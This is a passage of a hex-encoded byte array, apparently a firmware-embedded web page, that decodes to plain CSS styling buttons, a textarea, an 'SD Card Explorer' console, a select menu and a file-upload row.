0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x66, 0x61, 0x6D, 0x69, 0x6C, 0x79, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x66, 0x6F, - 0x6E, 0x74, 0x2D, 0x6D, 0x6F, 0x6E, 0x6F, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x77, 0x65, 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x35, 0x30, 0x30, 0x3B, - 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x61, 0x6C, 0x6C, 0x20, 0x30, 0x2E, 0x33, 0x73, 0x20, 0x65, 0x61, 0x73, 0x65, 0x3B, - 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x78, 0x2D, 0x73, 0x68, 0x61, 0x64, 0x6F, 0x77, 0x3A, 0x20, 0x30, 0x20, 0x32, 0x70, 0x78, 0x20, 0x34, 0x70, 0x78, 0x20, 0x72, 0x67, 0x62, 0x61, - 0x28, 0x30, 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2E, 0x32, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x43, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x20, 0x74, - 0x68, 0x65, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x73, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x3A, 0x20, 0x62, 0x6C, 0x6F, 0x63, - 0x6B, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x3A, 0x20, 0x32, 0x30, 0x70, 0x78, 0x20, 0x61, 0x75, 0x74, 0x6F, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x69, 0x6E, 0x2D, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x31, 0x35, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, - 0x61, 0x78, 0x2D, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x32, 0x32, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x31, 0x30, 0x30, - 0x25, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x3A, 0x68, 0x6F, 0x76, 0x65, 0x72, 0x20, 0x7B, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, - 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, - 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x78, 0x2D, 0x73, 0x68, 0x61, 0x64, 0x6F, 0x77, 0x3A, 0x20, 0x30, 0x20, 0x34, - 0x70, 0x78, 0x20, 0x38, 0x70, 0x78, 0x20, 0x72, 0x67, 0x62, 0x61, 0x28, 0x30, 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2E, 0x33, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x74, 0x72, 0x61, 0x6E, 0x73, 0x66, 0x6F, 0x72, 0x6D, 0x3A, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x6C, 0x61, 0x74, 0x65, 0x59, 0x28, 0x2D, 0x31, 0x70, 0x78, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, - 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x2E, 0x73, 0x6D, 0x61, 0x6C, 0x6C, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, - 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x38, 0x70, 0x78, 0x20, 0x32, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x73, 0x69, 0x7A, 0x65, - 0x3A, 0x20, 0x30, 0x2E, 0x39, 0x65, 0x6D, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x31, 0x70, 0x78, 0x3B, - 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x3A, 0x20, 0x69, 0x6E, 0x6C, 0x69, 0x6E, 0x65, 0x2D, 0x62, 0x6C, 0x6F, 0x63, 0x6B, 0x3B, 0x0D, 0x0A, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x61, 0x75, 0x74, 0x6F, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x69, 0x6E, 0x2D, - 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x61, 0x75, 0x74, 0x6F, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x54, 0x65, 0x78, 0x74, 0x61, 0x72, 0x65, 0x61, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x74, 0x65, 0x78, 0x74, 0x61, 0x72, 0x65, 0x61, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x73, 0x69, 0x7A, 0x65, 0x3A, 0x20, 0x76, 0x65, 0x72, 0x74, 0x69, - 0x63, 0x61, 0x6C, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x69, 0x6E, 0x2D, 0x68, 0x65, 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x38, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x53, 0x44, 0x20, 0x43, 0x61, 0x72, 0x64, 0x20, 0x45, 0x78, 0x70, 0x6C, 0x6F, 0x72, 0x65, 0x72, 0x20, 0x2A, 0x2F, - 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x23, 0x63, 0x6F, 0x6E, 0x73, 0x6F, 0x6C, 0x65, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x63, 0x6F, 0x6E, 0x73, 0x6F, 0x6C, 0x65, 0x20, 0x7B, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x73, 0x65, 0x63, - 0x6F, 0x6E, 0x64, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, - 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x32, - 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0x65, 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x33, 0x30, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x76, 0x65, 0x72, 0x66, 0x6C, 0x6F, 0x77, 0x2D, 0x79, 0x3A, 0x20, 0x61, 0x75, 0x74, 0x6F, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, - 0x74, 0x2D, 0x66, 0x61, 0x6D, 0x69, 0x6C, 0x79, 0x3A, 0x20, 0x27, 0x43, 0x6F, 0x75, 0x72, 0x69, 0x65, 0x72, 0x20, 0x4E, 0x65, 0x77, 0x27, 0x2C, 0x20, 0x43, 0x6F, 0x75, 0x72, 0x69, 0x65, 0x72, 0x2C, 0x20, 0x6D, 0x6F, 0x6E, 0x6F, 0x73, 0x70, - 0x61, 0x63, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x77, 0x68, 0x69, 0x74, 0x65, 0x2D, 0x73, 0x70, 0x61, 0x63, 0x65, 0x3A, 0x20, 0x70, 0x72, 0x65, 0x2D, 0x77, 0x72, 0x61, 0x70, 0x3B, - 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x72, 0x61, 0x64, 0x69, 0x75, 0x73, 0x3A, 0x20, 0x38, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x62, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x3A, 0x20, 0x32, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x3A, 0x20, 0x32, 0x70, 0x78, 0x20, 0x73, 0x6F, 0x6C, 0x69, 0x64, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x53, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x20, 0x57, 0x72, 0x61, 0x70, 0x70, 0x65, 0x72, 0x20, - 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x2D, 0x77, 0x72, 0x61, 0x70, 0x70, 0x65, 0x72, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x70, 0x6F, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x72, 0x65, 0x6C, 0x61, 0x74, 0x69, 0x76, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x77, 0x69, 0x64, 0x74, - 0x68, 0x3A, 0x20, 0x31, 0x30, 0x30, 0x25, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x78, 0x2D, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x33, 0x30, 0x30, 0x70, 0x78, 0x3B, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x2D, 0x77, 0x72, 0x61, 0x70, 0x70, 0x65, 0x72, 0x20, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x31, 0x30, 0x30, 0x25, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x31, - 0x30, 0x70, 0x78, 0x20, 0x31, 0x35, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x73, 0x69, 0x7A, 0x65, 0x3A, 0x20, 0x31, 0x36, 0x70, 0x78, 0x3B, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x69, 0x6E, 0x70, - 0x75, 0x74, 0x2D, 0x62, 0x67, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x3A, 0x20, 0x32, 0x70, 0x78, 0x20, 0x73, 0x6F, 0x6C, 0x69, 0x64, 0x20, 0x76, - 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, - 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x74, 0x65, 0x78, 0x74, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x72, - 0x61, 0x64, 0x69, 0x75, 0x73, 0x3A, 0x20, 0x36, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x70, 0x70, 0x65, 0x61, 0x72, 0x61, 0x6E, 0x63, 0x65, 0x3A, 0x20, 0x6E, 0x6F, 0x6E, - 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x75, 0x72, 0x73, 0x6F, 0x72, 0x3A, 0x20, 0x70, 0x6F, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x77, 0x65, 0x62, 0x6B, 0x69, 0x74, 0x2D, 0x61, 0x70, 0x70, 0x65, 0x61, 0x72, 0x61, 0x6E, 0x63, 0x65, 0x3A, 0x20, 0x6E, 0x6F, 0x6E, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x6D, 0x6F, 0x7A, 0x2D, 0x61, 0x70, 0x70, 0x65, 0x61, 0x72, 0x61, 0x6E, 0x63, 0x65, 0x3A, 0x20, 0x6E, 0x6F, 0x6E, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x69, 0x6D, 0x61, 0x67, 0x65, 0x3A, 0x20, 0x6E, 0x6F, 0x6E, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, - 0x61, 0x6E, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x30, 0x2E, 0x33, 0x73, 0x2C, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, - 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x30, 0x2E, 0x33, 0x73, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x73, 0x65, 0x6C, 0x65, 0x63, - 0x74, 0x2D, 0x77, 0x72, 0x61, 0x70, 0x70, 0x65, 0x72, 0x20, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x3A, 0x66, 0x6F, 0x63, 0x75, 0x73, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, - 0x72, 0x64, 0x65, 0x72, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x23, 0x31, 0x61, 0x30, 0x64, 0x30, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x75, 0x74, 0x6C, 0x69, 0x6E, 0x65, 0x3A, 0x20, 0x6E, 0x6F, 0x6E, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x2E, 0x73, 0x65, 0x6C, 0x65, 0x63, 0x74, 0x2D, 0x77, 0x72, 0x61, 0x70, 0x70, 0x65, 0x72, 0x3A, 0x3A, 0x61, 0x66, 0x74, 0x65, 0x72, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x3A, 0x20, 0x27, 0x5C, 0x32, 0x35, 0x42, 0x43, 0x27, 0x3B, 0x20, 0x2F, 0x2A, 0x20, 0x44, 0x6F, 0x77, 0x6E, 0x20, 0x61, 0x72, 0x72, 0x6F, 0x77, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x61, 0x62, 0x73, 0x6F, 0x6C, 0x75, 0x74, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x72, 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x31, 0x35, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x6F, 0x70, 0x3A, 0x20, 0x35, 0x34, 0x25, 0x3B, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x66, 0x6F, 0x72, 0x6D, 0x3A, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x6C, 0x61, 0x74, 0x65, 0x59, 0x28, 0x2D, 0x35, 0x30, 0x25, 0x29, 0x3B, - 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x2D, 0x65, 0x76, 0x65, 0x6E, 0x74, 0x73, 0x3A, 0x20, 0x6E, 0x6F, 0x6E, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x73, 0x69, 0x7A, 0x65, 0x3A, 0x20, 0x31, 0x34, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, - 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x77, 0x72, 0x61, 0x70, 0x70, 0x65, 0x72, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, - 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x3A, 0x20, 0x66, 0x6C, 0x65, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x6C, 0x69, 0x67, 0x6E, 0x2D, 0x69, 0x74, 0x65, 0x6D, 0x73, 0x3A, 0x20, - 0x63, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x66, 0x69, 0x6C, 0x65, 0x2D, 0x77, 0x72, 0x61, 0x70, - 0x70, 0x65, 0x72, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x3A, 0x20, 0x30, 0x20, 0x30, 0x20, 0x30, 0x20, - 0x32, 0x30, 